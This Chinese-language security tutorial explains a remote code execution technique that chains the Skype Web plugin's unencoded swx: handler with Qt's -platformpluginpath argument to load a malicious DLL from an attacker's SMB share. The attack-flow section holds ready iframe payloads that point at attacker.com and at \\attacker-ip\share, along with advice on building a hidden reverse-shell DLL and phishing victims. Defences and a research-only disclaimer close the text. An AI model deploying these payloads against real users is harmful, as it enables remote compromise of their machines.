通过Skype Web插件和Qt App来造成RCE
字数 1302 2025-08-26 22:11:23
Qt应用程序远程代码执行漏洞利用教学文档
漏洞概述
本教学文档详细分析了一种通过Skype Web插件和Qt应用程序实现远程代码执行(RCE)的攻击方法。该漏洞利用了Qt框架的插件加载机制和Skype Web插件的URI处理缺陷,允许攻击者通过恶意网页触发远程DLL加载,最终实现代码执行。
前置知识
URI Scheme机制
- Windows应用程序可以注册自定义URI协议(如
skype:、origin:等) - 浏览器或其他应用程序调用这些URI时会启动关联程序
- 通常格式为
protocol://parameters
Qt框架特性
- Qt是一个跨平台应用程序框架
- 支持通过
-platformpluginpath参数指定插件加载路径 - 插件路径可以指向远程SMB共享
Skype Web插件缺陷
- 注册了
swx:协议处理程序 - 不会对URI进行URL编码处理
- 使用IE渲染引擎(nshtml.dll)且保护模式默认关闭
攻击流程
-
寻找目标Qt应用程序:
- 使用工具枚举本地URI协议(如LookForSchemes)
- 确认应用程序支持
-platformpluginpath参数 - 示例目标:Free Download Manager、Origin、Transmission等
-
构造恶意DLL:
- 使用Visual Studio创建DLL项目
- 添加
.qtmetad段包含有效插件元数据 - 实现恶意代码(如
MessageBox或反向shell) - 添加
ExitProcess()防止目标程序正常启动
-
设置SMB共享:
- 在攻击者控制的服务器上设置SMB共享
- 托管恶意DLL文件(通常命名为
qwindows.dll)
-
构造攻击页面:
<iframe src='swx:http://attacker.com/malicious.html' height="0" frameborder="0"></iframe>- 在malicious.html中使用目标程序的URI协议注入参数:
<iframe src='origin:// --platformpluginpath=\\attacker-ip\share' height="0" frameborder="0"></iframe> -
诱导受害者访问:
- 通过钓鱼邮件等方式诱导用户访问恶意页面
- 页面加载后会自动触发漏洞利用
技术细节
DLL构造要点
- 必须包含有效的Qt插件元数据
- 导出函数需要与目标插件一致
- 建议使用十六进制编辑器手动调整部分内容
参数注入技巧
- 利用Skype Web插件不编码URI的特性
- 直接在URI中插入命令行参数:
origin:// --platformpluginpath=\\attacker-ip\share
隐蔽性增强
- 使用iframe隐藏攻击过程
- 在DLL中调用
ExitProcess()避免目标程序窗口出现 - 使用多个iframe同时攻击多个应用程序
防御措施
用户防护
- 卸载Skype Web插件
- 避免点击不明链接
- 保持应用程序更新
开发者防护
- 对URI参数进行严格过滤
- 禁用从远程路径加载插件
- 实现参数白名单机制
已知受影响应用
- Origin客户端
- Free Download Manager
- Transmission
- Malwarebytes
- Cisco Webex Teams
参考资源
免责声明
⚠⚠⚠ 本技术文档仅供安全研究使用,请勿用于非法用途。尝试任何攻击行为前请确保获得合法授权。 ⚠⚠⚠